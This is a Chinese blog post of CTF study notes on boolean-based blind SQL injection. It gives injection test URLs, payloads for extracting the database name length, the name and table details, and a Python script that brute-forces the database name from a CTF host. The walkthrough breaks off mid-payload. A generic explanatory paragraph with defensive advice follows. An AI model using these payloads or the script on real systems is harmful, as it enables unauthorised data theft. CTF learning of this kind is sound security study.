基于布尔的盲注学习笔记

本文详细介绍了如何通过布尔盲注获取数据库信息,包括数据库名、表名、字段名和数据,涉及CTF挑战实战,使用Python脚本辅助探测。
摘要由CSDN通过智能技术生成
exp利用到的ctf题: 简单的sql注入之3

步骤:
首先测试是否为布尔盲注:
http://localhost/index.php?id=2
http://localhost/index.php?id=2'
http://localhost/index.php?id=2''
http://localhost/index.php?id=2%23
http://localhost/index.php?id=2' and 1=1#

若为布尔盲注,则按照以下步骤进行:
一、得到数据库的长度
http://localhost/index.php?id=2' and length(database())>1%23
二、获取数据库名称
姿势: http://localhost/index.php?id=2' and ascii(substr(database(), {0}, 1))={1}%23
python脚本自动获取:
import requests

def getDBName(DBName_len):
    DBName = ""
   
    success_url = "http://ctf5.shiyanbar.com/web/index_3.php?id=2"
    success_response_len = len(requests.get(success_url).text)
   
    url_template = "http://ctf5.shiyanbar.com/web/index_3.php?id=2' and ascii(substr(database(),{0},1))={1}%23"
    chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
   
    print("Start to retrieve database name...")
    print("Success_response_len is: ", success_response_len)
    for i in range( 1, DBName_len + 1):
        print("Number of letter: " , i)
        tempDBName = DBName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                print("DBName is: " + DBName + "...")
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended." )
            exit()
    print("Retrieve completed! DBName is: " + DBName)
   
getDBName(5) 


三、获取表长度
姿势: http://localhost/index.php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
四、获取表名
和第二步获得数据库名差不多,姿势稍微变了一下:
http://localhost/index.php?id=2' and ascii(substr((sel
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于布尔盲注是一种常见的SQL注入攻击技术,可以通过构造特定的SQL查询语句来获取数据库中的敏感信息。在这种攻击中,攻击者通过向受攻击的应用程序中输入恶意的SQL代码来触发漏洞。 在基于布尔盲注中,攻击者利用应用程序返回的不同响应来判断SQL查询结果是否为真或假。攻击者可以通过构造一系列的布尔查询来逐渐推断出数据库中的敏感信息。例如,攻击者可以通过构造以下查询语句来判断数据库中是否存在用户名为“admin”的记录: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND 1=1 ``` 如果应用程序返回的响应为真,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password = 'password' AND 1=1 ``` 如果应用程序返回的响应为假,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password <> 'password' AND 1=1 ``` 通过不断尝试构造不同的查询语句,并观察应用程序的响应,攻击者可以最终推断出数据库中的敏感信息。 为了防止基于布尔盲注攻击,应用程序应该对用户输入进行充分的验证和过滤,并使用参数化的SQL查询语句来避免SQL注入攻击。此外,应用程序还应该限制数据库用户的权限,以最小化攻击者获取敏感信息的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值